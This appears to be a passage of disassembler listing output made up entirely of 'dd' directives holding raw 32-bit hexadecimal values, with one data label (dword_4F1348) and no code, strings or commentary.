dd 77EBD2F9h, 4EDD283Ah, 0DFFAFB7Ch, 5E422AF1h, 0E9194858h
dd 4901BFFCh, 3E09AF68h, 41D38CE3h, 9755AFC7h, 0D7CAF80Dh
dd 68DB5D04h, 4CC0DAF7h, 736149EAh, 895013EEh, 0E98B09D0h
dd 0BD8E34F4h, 698D253Ah, 18A7258Ch, 0C7D481Ah, 0F9280EC6h
dd 0C91F8D1Bh, 291615BDh, 6CFBC0ABh, 557FB64Dh, 6888F104h
dd 0DAB136FFh, 28250FCEh, 0AE5E5356h, 0A06B9737h, 7752F26Ah
dd 5A2AB070h, 0BDF4006Ch, 6BEA4DEDh, 0D5C4683Eh, 0B8D17E21h
dd 6603B4F0h, 0C15CEBE2h, 0DBDD056Bh, 9771C9B8h, 698060F3h
dd 0E92F5A28h, 0A1F848EEh, 0D72F9494h, 1D8DF0C2h, 3FD13E4Bh
dd 0AC05612Dh, 5174CB0h, 644D1582h, 78F0B801h, 0A0207565h
dd 85340509h, 90CBE966h, 0EFC14F84h, 0D70ADAB2h, 0AC1EB31Fh
dd 401A5702h, 4DA7C3C0h, 3132A6F8h, 46D6640Eh, 762C5D13h
dd 0BB90551h, 625C29h, 20E691C1h, 0E02DE9F3h, 0D781EA9Bh
dd 0D8EA9CC9h, 7759BF70h, 20BB4C6Ch, 0B55298FEh, 0D080A814h
dd 30043F7Ch, 461FE973h, 0DEEF8592h, 0CF66BBAh, 0C9257925h
dd 0B2C2B1F6h, 44704979h, 685D5800h, 15E6B55Bh, 1D4B5010h
dd 0DDD3C109h, 0BE984E56h, 779A000Dh, 0F02D3096h, 4258EB7Bh
dd 0CBEFB4DCh, 5B5023Bh, 7B091978h, 0FD2D0167h, 2B3D7C07h
dd 0B1929FF8h, 0B04F1071h, 0B2BD88B7h, 464041F9h, 39CDE33Bh
dd 71F925F7h, 4BE94291h, 0D49DC678h, 0BEE97004h, 3196369h
dd 0D2D02881h, 0B891C804h, 0D27D0D3Bh, 40A48970h, 463C94B4h
dd 0C9042376h, 4776372Dh, 7A23D0EFh, 548EF5Ah, 8329050Dh
dd 0D4A16914h, 0E0F41E83h, 4EC04AF9h, 92A6010Eh, 0F136561Eh
dd 0BF2BAABEh, 0BCF2574Ah, 0B7E190E4h, 86E86633h, 0CD98647Ch
dd 0F106CC51h, 0FBD6705Bh, 316574FDh, 422DC278h, 89A0D4BCh
dd 96F5E3F5h, 9C88FA15h, 0CDBA004Dh, 0BD6A9A3Eh, 45DEB04h
dd 2CBF317Bh, 5B77E994h, 0D036A9B7h, 0ACEA045Fh, 80376A45h
dd 7616FE59h, 4D183260h, 8025BE0Bh, 46FC1C80h, 0E47EC080h
dd 0D041B840h, 1C68081Ch, 91E90514h, 103EA9E7h, 324C1749h
dd 115DF70Eh, 8B5709A9h, 5E59FCC0h, 56D36825h, 45E4C284h
dd 6074BA00h, 0B2F89D1Dh, 0EA292712h, 550463E8h, 0D43E86E9h
dd 0ACB50F87h, 0D224F993h, 68942CFEh, 0C66ACB25h, 864D2AA7h
dd 0F9735AA2h, 15E63E2Eh, 501461CEh, 5E246889h, 0FD69940Ah
dd 1692C60Fh, 0D96A82C3h, 7BF8D105h, 7F3BA80Eh, 0C8AA0913h
dd 0BBFCA952h, 6878452h, 2337B0Bh, 66A41C0Ch, 84E8F49Ah
dd 81C5EE45h, 0D398D4B2h, 5B4BC9E9h, 78C5B747h, 8C5A858Bh
dd 958660A0h, 0C3510285h, 0DD90D337h, 0FD72305Bh, 0F608EF61h
dd 48E386D7h, 0E525C220h, 309C6D62h, 46667B2Dh, 5F9CF28Dh
dd 7CB4CAC9h, 0B002CD5Ah, 0B034F468h, 4F8070A1h, 0AD9B9C7h
dd 0D2E97FEFh, 6C2F6827h, 27D821Eh, 55150A4Dh, 442A0366h
dd 0EB0588F5h, 71F24A66h, 0F3DD4FFh, 0D32C5F08h, 38167D22h
dd 745E5h, 0D4C91354h, 0DBC95687h, 0BDD2CFh, 6E6774C3h
dd 5BDF0944h, 5717F7F2h
dd 17AF1138h, 0EC17D166h, 538F53AFh, 0BFCB094h, 5E667878h
dd 7E0EEE10h, 72BA1F5Bh, 0F4E22555h, 0EF5362D4h, 5A06D346h
dd 7B75BEDFh, 0BE5A848Bh, 4B658569h, 0E9095236h, 89693353h
dd 2861C8BFh, 85BA723Dh, 315AE00Eh, 2C10BCECh, 0F3810296h
dd 0E352498Dh, 27FDA420h, 0E1803A05h, 13E1173Eh, 0D044EB87h
dd 8100B9D0h, 260B91E1h, 6E494030h, 25BE61F0h, 77D12167h
dd 0D1E8F6C4h, 34FA052Dh, 0E55B5EF4h, 726DBFD1h, 77E15C03h
dd 282C8007h, 686658E3h, 277DF1B1h, 7985332h, 5C237D0Bh
dd 0C281A3C9h, 5DA3C18h, 31890BD8h, 103FB514h, 0BF3F768Ah
dd 29083E07h, 912621BAh, 5FF64028h, 0A762E942h, 0FC505627h
dd 96688578h, 2F71B37Ch, 0F0D122F7h, 0F49C4E9Fh, 0A5688147h
dd 1F5F98D6h, 0D1EDD6E6h, 0E7DD2C91h, 0DC5D8AD4h, 76AC4BFAh
dd 534490F5h, 2B4E527Fh, 2F864EAh, 1C8B5E0Ch, 0AF974D57h
dd 0FF89A6Bh, 0B9054280h, 412F319Fh, 0A4F2A0ABh, 452C3C63h
dd 0B563B94Dh, 2C8D983Ah, 80B8BE88h, 2652D068h, 36557E2Fh
dd 3BFFDA99h, 0E9D7F2B4h, 6B265B7Dh, 0EAE15848h, 0E7C381B9h
dd 2CE81CA5h, 0A27E4B28h, 0EE88D294h, 4B0E7D3Ch, 501CA8EBh
dd 561313A0h, 93E07514h, 22D82D68h, 0C704AC66h, 3144E412h
dd 0DE87ADh, 74707AC6h, 0EA652DE9h, 0B6EB5436h, 19E9C4A1h
dd 0EC51CAE0h, 16A360EFh, 8003EDC0h, 0A1F62BE6h, 2FF8DB4Fh
dd 0BDC282A4h, 10E88303h, 40D713DAh, 3E5202C6h, 0A205841Ah
dd 42CE8706h, 4F483141h, 0A169EB3Bh, 0D20E2D05h, 70358262h
dd 206FBA00h, 4A342416h, 0D303B87h, 659BC6D1h, 8548942Eh
dd 8207924h, 0E896E915h, 79B45085h, 0EF355860h, 60FC3733h
dd 73080C27h, 17C42ABh, 80190A2h, 8A8369E9h, 91F32832h
dd 0B41ED310h, 0E1CC5430h, 403BFD24h, 35C0E581h, 4C036E2Ch
dd 0F9DB4403h, 5D562EFEh, 0C4FE7AE8h, 930B5E9Eh, 58CE785Ah
dd 9802AC48h, 15C6F41h, 0DF0DF3C0h, 78F63200h, 8DB42F05h
dd 535627D4h, 205A9F5h, 93ED945h, 7937BA7h, 4DF6C9F8h
dd 2CCAB203h, 0E9D08042h, 0CDAD5FD3h, 53014179h, 54C2DAFh
dd 169470EBh, 679288AEh, 2C801F14h, 0BF267791h, 0CA1693F1h
dd 89FD29BFh, 5E77B34Ch, 0FC1E4C69h, 6132261Fh, 0DC60F88Bh
dd 0D104B2ABh, 9AE2BC8Eh, 27404850h, 0B9803320h, 26FA13DBh
dd 9105FE37h, 0ACE2C0A5h, 2D2CB05Bh, 7631842Dh, 2D01164Dh
dd 9F1C206Ch, 57D5700h, 0F97A90BBh, 0F3312034h, 0CC4D120h
dd 0D0F645B0h, 0E5040404h, 0B82CD934h, 76DFE3D2h, 5EF784E9h
dd 307F92Dh, 601A905h, 61F89A1Dh, 3301EC13h, 31BC3F14h
dd 39C02B89h, 0D9EFB8B5h, 5A0EAFEBh, 8AC305C7h, 0F140420Ch
dd 881FEE4h, 0EE0B64E9h, 139EDBD7h, 483F8078h, 3F5CFA05h
dd 0D2257BA2h, 0DA79926Ah, 73681673h, 0E3126066h, 6A738659h
dd 3D207B98h, 90D3B031h, 0A6C596C4h, 59C8E2E8h, 76594CDAh
dd 3CFA4B87h, 0BB24E932h, 6040268Ch, 0F679BC44h, 0E1857048h
dd 0F3D9D92Fh, 8001C9FAh, 0EBCCD8C3h, 0E9DBE1E3h, 0A36BC586h
dd 98B11357h, 102545ADh, 5A93D5E7h, 0AEF407E8h, 0C42B562Dh
dd 0D312F3E3h, 544DFBFh, 199712FAh, 0E9440EBBh, 9941B112h
dd 690662CEh, 5D75976Fh, 0B551EC06h, 30B8EA4Eh, 0AB11C514h
dd 0A393B771h, 46FE18C3h, 9D56BE05h, 0CCBEEE2Fh, 922AE9B7h
dd 0D6B59F81h, 251B2474h, 0B386546Ah, 0EE02AFC0h, 2F84343Ch
dd 0E6927F5Dh, 4FF54940h, 5E58A02Dh, 1208A0BAh, 30440968h
dd 5143B91Ah, 63F7E9A2h, 73481713h, 9323A8C2h, 0F8B42616h
dd 9639FEEEh, 49571F22h, 20F1700Bh, 690368E1h, 4FCB773Ch
dd 0E2806C50h, 3914F3C9h, 7EAE523Ah, 1068217h, 44B3EB2h
dd 2668559Ch, 933F4A9Ah, 0FC94F19Fh, 0C8E9F478h, 7014680Bh
dd 13875F71h, 0C1613B64h, 0C62B02E3h, 74806EAh, 0F12B0BD6h
dd 0EE8D83F8h, 46FD8012h, 55DE1401h, 0E90908BDh, 3F7890CFh
dd 8BE0289Eh, 9E14AC70h, 6E4E0B21h, 0A1E14307h, 6428AD06h
dd 82F3D1FEh, 7596C522h, 0E9BC824Fh, 0D7D64AB2h, 4FC30DD1h
dd 0D7FBF7B4h, 0B79A0136h, 2FDBBF20h, 62F0EBB4h, 0CB9ED995h
dd 5D51587Ch, 5EA11B30h, 56A4995h, 0FEC75F04h, 0C60A58Bh
dd 1F22E954h, 0EA27339Ah, 5B455859h, 0BA40135Dh, 0C866C204h
dd 2DAFFAD1h, 4C3174D8h, 0BE0052CAh, 4AD210B2h, 1C5F1DE9h
dd 27689928h, 6A98422Dh, 0B0503848h, 4C61F7B3h, 5FF8290Dh
dd 9897F66Eh, 133CB80Ch, 149E360h, 0FF3772C4h, 0E0057B79h
dd 0E3206792h, 4E5F8EF0h, 719AB13Dh, 7AC8CD43h, 0E985CAE2h
dd 0BA7CD001h, 742E4362h, 701F2E7Ah, 6FEEBDB1h, 1DCA207h
dd 0AB838A76h, 0CB24BC5Dh, 8BEDC2D5h, 45608h, 5BC86AD9h
dd 48133D35h, 0B5000A87h, 111C5F3Ah, 0A7E70781h, 6229537Bh
dd 694365CFh, 0FFEFD405h, 0A604E10Ah, 38E9DAC6h, 51562E01h
dd 6BCA2904h, 4D990D80h, 89702EDDh, 24C78260h, 0E4606D2Fh
dd 0E5831DF0h, 0F27B3DFFh, 7B09FE1h, 0C50CEF0h, 0B964C03Ch
dd 0F958825Eh, 0E926317Ch, 5FA500E8h, 2DFEEB14h, 21EEDD5Ah
dd 0BF2A27A3h, 16B9042Fh, 7CC34CEBh, 1F72E9F7h, 11FFCC80h
dd 0E5E935D8h, 243F04Dh, 953EF3BFh, 8E094322h, 60B9F0Dh
dd 0E94E30DFh, 0F5DC5FD4h, 0E7556007h, 182C5817h, 4C8AA712h
dd 80702660h, 0CCE638C4h, 0E42F6576h, 25867016h, 0E4784AE9h
dd 74FF4C9Fh, 55FFC74h, 8B5AD729h, 0CF7DEB34h, 0A135B83Eh
dd 0C72CBB23h, 9ECDEBD2h, 0B4D0FD2Ah, 41356FE4h, 0C3416BB2h
dd 6F751526h, 0D2D23AF4h, 4840F1Ah, 50C4CBC0h, 0CDE7F36h
dd 0EA964C7h, 44BCF3C0h, 0BC904A43h, 87C24000h, 73245303h
dd 16CA03E9h, 0B8DEB77Eh, 46681296h, 52853EADh, 5CAD8899h
dd 5A196413h, 0A8CE12BFh, 658EB0B6h, 4B2F3074h, 4F2AB188h
dd 75E92016h, 0B92BF9B1h, 9030C93Bh, 0B1AAA491h, 0C6750814h
dd 5B575304h, 2CC10497h, 0C48173CBh, 37E73A7Bh, 33503029h
dd 88A55968h, 7CD46F07h, 5D17816Fh, 0E2CE3DBAh, 9CCC7F93h
dd 0D9C2574Bh, 620AD67Dh, 8DFC21ECh, 2CFB55C4h, 380F9CF5h
dd 0E05E1FAFh, 0E39C4F6h, 9FE91318h, 2A822DB8h, 5CE00EF8h
dd 683A5155h, 7AB7FB31h, 0A3D30268h, 0CD89B32Fh, 40557957h
dd 6D09A7EBh, 5101293Bh, 0E408058Dh, 0D64168FCh, 0A004F83Fh
dd 951E828h, 2FE944B1h, 45887E0h, 0B67FB490h, 0B753F803h
dd 99F780FAh, 33EF5E9h, 81E5D14Ah, 3A9594B8h, 9E14574Bh
dd 6F9E804Dh, 20E95A86h, 8C90FE56h, 895F253Eh, 54E82111h
dd 0E368780Eh, 97A9354Bh, 40DDCC4h, 0C289565Eh, 0C2F50EDh
dd 0C17C3189h, 0F408E725h, 0AB7234C8h, 0BED638B3h, 0A031523Ch
dd 4B64E94Ch, 0F064EEFDh, 50218987h, 0D1305B12h, 72C13C9h
dd 0D8CF8FBh, 34DF47E9h, 8661BC2Bh, 20D9A620h, 0BA16149h
dd 1EEE6D95h, 622F2F58h, 5C46E1E1h, 0BAD7E16Ch, 0B036FB91h
dd 0DF14F92Bh, 0FFFA3709h, 0E8978DECh, 81E23A2Eh, 3A7DD95Eh
dd 68833BECh, 43302660h, 5BBD2745h, 7F7A3D58h, 1EFC851Ah
dd 0FD49DD56h, 0AFF2EFA2h, 8E815905h, 8801A96Ah, 58E1C8D4h
dd 0C8EE7BB0h, 91C560F3h, 0CAED2960h, 489D59D9h, 3E04D90Bh
dd 0EF53BF96h, 62E670F1h, 0B20BD8B2h, 4B7FF0E4h, 33FACC09h
dd 9203B41h, 350B95CCh, 4EB423C7h, 6FFB353h, 89B64B9Dh
dd 0ABC4EB09h, 0DE31058Eh
dd 7640A71Eh, 0E9091F3Eh, 173749D3h, 27084B02h, 7BDF5F2Dh
dd 0F00D9383h, 0CF508042h, 67890FDh, 96927C99h, 80612609h
dd 0B327C1B9h, 12DFF275h, 0B9E112E9h, 98F5F2Dh, 25FFE90Eh
dd 0A151B816h, 6B09BD55h, 9AE90181h, 0B313002Bh, 4AEB80D9h
dd 18D3F63Eh, 0E3F3E2B4h, 0E66D1329h, 850F0715h, 0F83F266Ah
dd 167E0E0Ch, 3E75A801h, 855B1118h, 4C8BF910h, 20CE0466h
dd 0D78B582Eh, 98D7311Ch, 0CDE908FAh, 0B0EE84BDh, 95580AE0h
dd 0E9628E5Ch, 0BB62483Bh, 392713D3h, 0C606F209h, 4BD3AE85h
dd 0E0548D4Ch, 0D82588D0h, 0EB74FC5Bh, 0F91C8AD7h, 0F76F5651h
dd 578727ADh, 0B3530C18h, 8851A20Ah, 0CE12E3DDh, 64AB79AFh
dd 0EF4B686Eh, 0A54D67BEh, 0A144EF5Eh, 8A1EAFA0h, 0A4140E23h
dd 0CCA917EEh, 0B218BB78h, 0D96EF30Eh, 13F0A05Bh, 3BF56Ch
dd 0E5A79164h, 0E94E312Ch, 0A0CF2509h, 2F1FE2A7h, 0F06A4AC9h
dd 49122C0Fh, 0A702892Ah, 0DDD443E9h, 0F10B8D52h, 981F53h
dd 29F8C19Ch, 1D5B6055h, 8D417EE9h, 0EC177640h, 0CD5BB9h
dd 0BC685374h, 57092636h, 25B386E9h, 32F2CF0Bh, 68525180h
dd 0E51228C1h, 15C25A2Ah, 7759E43Ah, 0B0C55DDEh, 7802BD00h
dd 0D5F7355Ch, 20785148h, 0B7C4B021h, 0EE706F78h, 8131F17Dh
dd 68B81A0Fh, 27416DC4h, 25714429h, 28646127h, 0D6777606h
dd 5001E67Fh, 172F5468h, 0BD9581Dh, 0B9FB303Bh, 0F1F0474h
dd 278B912Dh, 0CA391A03h, 5E6358BBh, 4FB0E312h, 68839CFCh
dd 0FF840C1Ch, 4179B8B3h, 0A73CA0C5h, 0ACA4A100h, 59CE0912h
dd 1D680557h, 770F45Ch, 0E1D2C6C5h, 6C290F52h, 0FD084187h
dd 24208146h, 0E91956B8h, 0ED6EDED1h, 88BED3C6h, 969E9DBh
dd 9A145525h, 0D6820771h, 0B2310965h, 0D9603BFDh, 0A63AC218h
dd 45BE4BB3h, 27F6EF81h, 47EA952Dh, 52A26899h, 60FF4C1Eh
dd 90B636Fh, 0EBE92D83h, 5077458h, 75EC1034h, 985ACBA2h
dd 1FF0B1C2h, 5659CF88h, 5C1682C7h, 7B98B2C3h, 0F8C96167h
dd 34FCDBF4h, 0A2F2C23Ah, 0CCDA1877h, 302D813Fh, 305CFC90h
dd 70528F1h, 16AD594Bh, 0EDD42084h, 8B69648h, 3A50475Dh
dd 739326h, 0F21839B9h, 0E92F4901h, 0B0EA6BA5h, 2482F9FCh
dd 124A5173h, 4A32BC22h, 0FFD222A8h, 60BFDA52h, 0BF51E97Fh
dd 286FD0A8h, 854FB2F0h, 84191E28h, 0D5AC312Dh, 3225EF9Ch
dd 0C4A17996h, 902FC04Fh, 64F9948h, 17345E9h, 0FD5D1FB6h
dd 6FFB58E9h, 0EDB20F77h, 0BBE25697h, 1A84FCAh, 0FAAB09B6h
dd 2C80E37Bh, 66F828ABh, 9B09852h, 30B0B61Bh, 0A1B80182h
dd 263497F7h, 65A31203h, 5AA4ACBEh, 5429CEF6h, 0B842C282h
dd 34605305h, 0B77DC268h, 26B7C6C5h, 8650171h, 1396946Fh
dd 6A7C2D08h, 52EDCE44h, 0E7E1C007h, 50A63380h, 7FF4AAE1h
dd 5ADD16A5h, 16521634h, 988DFB2h, 78C25CCFh, 214318D5h
dd 0AF0EB1A7h, 5412A959h, 0B3F87C21h, 57EEB850h, 2B922710h
dd 0E5801970h, 75E038D4h, 1FFD012Ch, 0E9160820h, 0DBD18ADFh
dd 0A261089Ah, 3035BC7Bh, 0F60798C1h, 4B27B8D2h, 796B37Eh
dd 34ED0ADCh, 73A63CD2h, 23EA6FFh, 6EDD2627h, 64688E40h
dd 1549B424h, 3F15D903h, 54C9B07Ah, 659F265Bh, 0F6D008Bh
dd 0CA292BF5h, 0F86B7E9Fh, 0C260E6E9h, 1510CA6Dh, 0F47176C8h
dd 0A0122C64h, 23F525EDh, 39E9F46h, 267AB92Ch, 0CBD778F6h
dd 96954BD8h, 2419E8Fh, 3451643Bh, 9BC976E0h, 0A0CBAE28h
dd 2A27743Dh, 0ED50A802h, 23AE5F08h, 0B80AE916h, 82AB7653h
dd 4FDD5AC6h, 10BB24A5h, 6F074E27h, 0CFA2C329h, 6A3E54B3h
dd 24C05A71h, 45C4606Ah, 41022D69h, 0CC40C183h, 47BDB610h
dd 37680727h, 5D306252h, 0C725C600h, 0E720FFDCh, 7FA947Bh
dd 37DF2966h, 0ACD5B45Bh, 0A9552C6Ch, 7710D700h, 540586Fh
dd 0B1EF522Dh, 1728B81Fh, 0CBFE5C1h, 0D65C4D37h, 0AD599110h
dd 0B326234Ch, 0C9FE82FFh, 0EB82B753h, 0C0F75BF9h, 2D862C7Bh
dd 0C3C262E9h, 9074D357h, 4C5824A9h, 656D4E40h, 89FFBC67h
dd 99D252E9h, 0C382EB0Ah, 0DF0B875Ch, 8BD8DE5Bh, 7854168Eh
dd 221164Ch, 0C1434130h, 7A7706EBh, 14BD0159h, 97E92616h
dd 60E22EB9h, 0EBE39593h, 4CDB75CDh, 363E68A5h, 0B366EF5Ah
dd 5477B00Dh, 55085BBh, 3E65F2B8h, 0E8C7BA61h, 0D43735E2h
dd 537D6061h, 525978FDh, 0D2F71DCDh, 0C418E99Fh, 2844E1EFh
dd 3EBBAC4Eh, 4397A4C9h, 253B817h, 2975690Fh, 0B0600EF1h
dd 0E9E4DD31h, 0F6AC702Dh, 0B1DAC5ACh, 9B9D7A15h, 10E6ED7Bh
dd 8460A8F5h, 0F281EAD1h, 3840850Bh, 73E2554Ah, 0E41275C3h
dd 8CBBEF9Fh, 0D45B5ECCh, 200531F3h, 0DC58153Eh, 11409044h
dd 1B596A52h, 48471042h, 0EBFF16ADh, 375132BAh, 914BACD0h
dd 52E020BBh, 931E1BAh, 3543B8B7h, 0D6885D6Eh, 0C224FE11h
dd 2D68EEF4h, 0E97B50C4h, 3CEC0D00h, 1433E581h, 0B149D669h
dd 3267ED03h, 0C013A4Ch, 479959A4h, 7F74E9h, 1AD2BAE8h
dd 0C3970D58h, 848A3CEEh, 1052C93h, 3304B691h, 70CBFD6Dh
dd 0A3B6E8CDh, 0C5C631C2h, 0B9D62F89h, 209180CFh, 48015810h
dd 84177F3h, 447B8C39h, 5B0ADD93h, 6E075A68h, 10268198h
dd 0A8705F39h, 7F128EFh, 381DD4A0h, 0D06B0581h, 0F5685EA8h
dd 0D2324A4Bh, 383AFECDh, 987DF82Fh, 0CC0D0C8Ch, 0A4F05A2Ah
dd 7E286816h, 0A3378BECh, 5948520Fh, 2EA68776h, 0BB001610h
dd 3EC03A81h, 0E6B5EBD1h, 0DBF70405h, 0E8228368h, 9AFD005h
dd 2C0059Ah, 76EA1E8Ah, 14C8C04h, 6E13CC53h, 9F846B7h
dd 4F929910h, 414DDEB4h, 0EC494027h, 5D60EA26h, 0BE041C0Ch
dd 0B79E92BAh, 4401B6F2h, 0E91D8E67h, 0CD6E7BEEh, 0BB79E440h
dd 591A7C97h, 577F2154h, 0EF584B88h, 0C51EF61Dh, 9A96927Eh
dd 9F95BC54h, 0C2B7C16Ah, 0C677776h, 4DCCB516h, 0A72735E9h
dd 2B920460h, 834FBE80h, 7322C54Eh, 0C1568B93h, 0E07A3B89h
dd 76000F60h, 0C8E7815Ch, 9046E842h, 280B0D8Ah, 0D00C0D7Bh
dd 7E505812h, 305F6DEh, 0F9293A10h, 4E088610h, 0D1B06FF8h
dd 9BF58E9h, 34327D7Fh, 208BE8DEh, 2CB35FC8h, 25EAAED1h
dd 0D47130FEh, 0FC0E6B3Ah, 4A13C020h, 6EFED001h, 6042ED0Fh
dd 97E2EB50h, 7786B8C8h, 44E2A0ABh, 0BD035F50h, 2A0B790Eh
dd 0E9CBDD31h, 0E8CF2116h, 87AFD232h, 5345B0A5h, 0E91477F0h
dd 27322CBFh, 5A51D099h, 0A011B88Fh, 94271BAh, 0D0290711h
dd 780B70B9h, 39BA5AA8h, 78BD3A87h, 51A63E10h, 0C35C6055h
dd 7CEFCE0Bh, 0D1897F1Bh, 0FE01F661h, 7CE967B8h, 8252FE5Eh
dd 0AA0857AFh, 0BEEBF804h, 0B9E31712h, 918126B9h, 7EEC184h
dd 0D54EA7AAh, 1E26183Ah, 131DF665h, 0BE47AE32h, 8FFA9904h
dd 9D3C0B9h, 0BE45415Ah, 40F49CBEh, 0B2A7792Dh, 965DD6DAh
dd 848AAC37h, 0A5F495BFh, 54A5A242h, 0FAA46244h, 135365D7h
dd 0BAF6C1FBh, 7B8EC046h, 89978FF4h, 8CF08885h, 0E66CD42Dh
dd 709F5B75h, 1EA40B73h, 0FF5C2651h, 0E91208A0h, 99D0667Ah
dd 9BBF0C7h, 0F901E7BFh, 0C0654D82h, 6C75410Fh, 268002CDh
dd 165E9E1Ch, 0E92FFA09h, 82A1D568h, 9A23C4FDh, 0EFA13580h
dd 14F72D2Bh, 0B610953Fh, 0C0C16207h, 7A6393C7h, 4266F03Ah
dd 0D548C082h, 79072D59h, 0A222EF5Ch, 20D2B4B5h, 5D982097h
dd 9D57CA20h, 58038450h, 0FEADB551h, 0E1CD92C5h, 104ECBCh
dd 0BE4A5C9Eh, 3B06ED3Dh
dword_4F1348 dd 0CD66DC0Ah, 2830A548h, 1679A368h, 0AE5D4C7Ch, 5F92AE80h
dd 60745CBEh, 90D7D22Fh, 0C4A42375h, 0BB080448h, 0FA152CB3h
dd 4B04B8A3h, 80380265h, 0E81891EBh, 78201BB0h, 2561BCD4h
dd 39617C40h, 0D21EA325h, 495E20D4h, 0EDA8724h, 0CFFB2C45h
dd 933A502Dh, 6F62509Eh, 0DE6C0BE8h, 55146826h, 782EE989h
dd 0AB585FCAh, 0E76FE339h, 0ED05FBEh, 974A55E9h, 0B501D6FBh
dd 6DB6526Ah, 92F859FCh, 0B9798A9h, 12384EF3h, 2D056ED4h
dd 0E214444Ch, 16812F9Ch, 4A95FA3Ah, 0C00E9E6h, 0ACFFEE5h
dd 0E0B6D276h, 0D6BF294Eh, 81C2523Eh, 28DDCAC1h, 5653C105h
dd 0F72F5E54h, 5A079539h, 0BBA486ECh, 0B6BBE995h, 0D901168Bh
dd 89824EA2h, 0DD6159CEh, 0E569819Ah, 29776F41h, 0EE05F5D8h
dd 0B017713h, 0A884E9EBh, 65130E8h, 0E2073181h, 0A2D53732h
dd 8E856F7h, 29C60293h, 80502289h, 740E0B0h, 73760CBDh
dd 0DC683CAFh, 7B7D1C14h, 773700E2h, 35481D6Bh, 807E0022h
dd 0B160D1Fh, 439869DCh, 0D0BB9440h, 0BA2AC1C5h, 0AD5B4ACEh
dd 72C0C580h, 16C03CA8h, 567E071Dh, 489D34BAh, 9D6BE9C8h
dd 0EF86DD81h, 42B6C980h, 45D7D9A7h, 0F4A01609h, 5560FD7Fh
dd 0C03F449h, 0BDCAA05h, 5A445407h, 13F672DDh, 0F8516EE9h
dd 8BFBB526h, 0B0F21871h, 5A66C825h, 53C96059h, 89449E9h
dd 0D226D627h, 0A2BF9AFAh, 3143CCC3h, 4E722C64h, 70D138EAh
dd 71AFD84Fh, 38A1B52Bh, 60AEE4A8h, 0BD1551B9h, 0D7E9100Ch
dd 78ECEFB5h, 5E422E02h, 95F54249h, 0D8AF5705h, 54003437h
dd 0B8BF0DB1h, 2F0AE11Ch, 0BEA9EF81h, 0BBF3FF05h, 60DA6A8Ch
dd 0C4EE9702h, 215B0427h, 4C30D887h, 9BFE2975h, 0B1443226h
dd 0D7870B5Dh, 68135464h, 3BF365F4h, 0C83F3500h, 0F896E920h
dd 57E9F0B4h, 0BA4AA140h, 0E27C5081h, 0BB9FDFB1h, 7A05729Fh
dd 0E1D1442Ah, 0E021E409h, 97585B34h, 303E40D0h, 0BF7F2AF9h
dd 0C76924C4h, 9C68AC01h, 0B2DB4C63h, 4F3AF09Fh, 109CACC2h
dd 680A9838h, 8DE44F7Dh, 80B9D1A7h, 94CCA8Eh, 0A005585Ah
dd 5617E906h, 5D25D2BDh, 3E2DF961h, 43FCCF5h, 17A72815h
dd 1BB6E935h, 0A63FF57Dh, 2CEF9271h, 58B750A2h, 6285B15Dh
dd 0B70201D0h, 11C057AAh, 7667CF80h, 0F1637AF2h, 0E992876Bh
dd 3A14FCD3h, 684F29B0h, 49C63CE7h, 48B5349h, 0A7C26C6h
dd 5784AB4Bh, 0C2E670C3h, 7D56E04Ah, 0E81CBD3Ch, 7E6C105h
dd 48C2C631h, 6F997FD8h, 0B3006A03h, 0E72653BFh, 949B077h
dd 3B991387h, 1FE65DDh, 63FED1F7h, 0CAF02B64h, 9F7C2Dh
dd 0BD552C82h, 8E7781Bh, 857754B7h, 0AAA80FE9h, 5F7957F2h
dd 2288A513h, 0D8954B30h, 0FA2B16EAh, 95BAA588h, 775ACFDCh
dd 0E0932679h, 54A62852h, 0B26F285Fh, 8B48203h, 825AD428h
dd 0DF71E2E1h, 3B9FD2C1h, 12438B2h, 0A5741F49h, 5C169FD9h
dd 1EB5AFF4h, 10462C71h, 699D016Ch, 5C015597h, 4138D7Eh
dd 0E9E1FB0Ch, 9A36E92Fh, 0C49284D4h, 0B93F1FF5h, 0D4D6DFBFh
dd 0E6C00D40h, 5BEE8005h, 0E18F818Eh, 9E6D2EE2h, 4ABE240Ch
dd 0BD2CFAE3h, 4AD224F7h, 1DB70328h, 0B42435FFh, 0C1960E5Fh
dd 40EF38F0h, 313C5D9Ah, 80F827C5h, 462DBEC0h, 290D17E1h
dd 48B5BCF7h, 1E96251Ch, 0EB810063h, 528A23D9h, 1D90C329h
dd 0E749E17h, 185501AAh, 8023850Fh, 1360EC0Ch, 0ABD1E929h
dd 0CAAF9DC7h, 0D5257F28h, 42807CB1h, 165BF8BFh, 3B1EB0A4h
dd 9EF76ECAh, 0BB23DC2Fh, 4C190D03h, 85E70118h, 50816C1h
dd 0C8102D20h, 0EFECA96Dh, 3F26617Bh, 6880FE25h, 41B47BE1h
dd 49C17F5Fh, 4B12A108h, 10EA1CBEh, 6EB24FC3h, 3D632610h
dd 0A21904B9h, 0C6C8414Dh, 7BF141C3h, 0FC8AD31Ch, 0E958D85Bh
dd 0CCCE5FAAh, 0E41696Ch, 0E33A047Eh, 876E1999h, 0F6800EAh
dd 154E364Ch, 351F6EC0h, 89012D1Ch, 0B70C2AA0h, 0E9251DE0h
dd 96D8F09h, 4D400592h, 81C25F2h, 3BC9CBDCh, 448B69FFh
dd 56360C49h, 0C5CAE917h, 0EBDAD44h, 201C5DEBh, 0E9DA89B4h
dd 0B51A4C6Fh, 0F45166A1h, 449574A9h, 4041F0D5h, 0A398BA0Bh
dd 7434B627h, 1C700CF4h, 9319C343h, 6B78A81Bh, 288217A0h
dd 962CB965h, 59E1000h, 0B050C328h, 1CEF5185h, 9A510E5h
dd 55390868h, 4DF79092h, 4D4F1AE4h, 6F868D40h, 313E690Fh
dd 0D03AA9FDh, 78F99073h, 83895E87h, 0EEF080D8h, 775C045Ah
dd 0B7206E92h, 44D99F84h, 74D3A242h, 609F6F9Ch, 80CCB84Ch
dd 3081D801h, 13D10915h, 625758F8h, 745574Bh, 53B354C4h
dd 250104D2h, 0C31EE11h, 896F057Ah, 63E86B81h, 56820CACh
dd 4D13019Bh, 6E5F1C52h, 0E909E8F8h, 43D408FEh, 489F9EC3h
dd 5D10C23Dh, 6DBA4A63h, 56EF3C60h, 74924FF7h, 27B5545Fh
dd 5E25BADDh, 0C6DE27D8h, 40E9EEC0h, 91D91D5h, 0A3518A2Fh
dd 949FDA4h, 1A5355B9h, 762A4AEBh, 53E9D861h, 0D07F7467h
dd 0EC0F1DD0h, 0BE5A4F7Bh, 3F682370h, 9EE5976Ah, 894D8F10h
dd 0FADFB3C5h, 50683DDCh, 955B1002h, 0C25F7984h, 5157BD1Fh
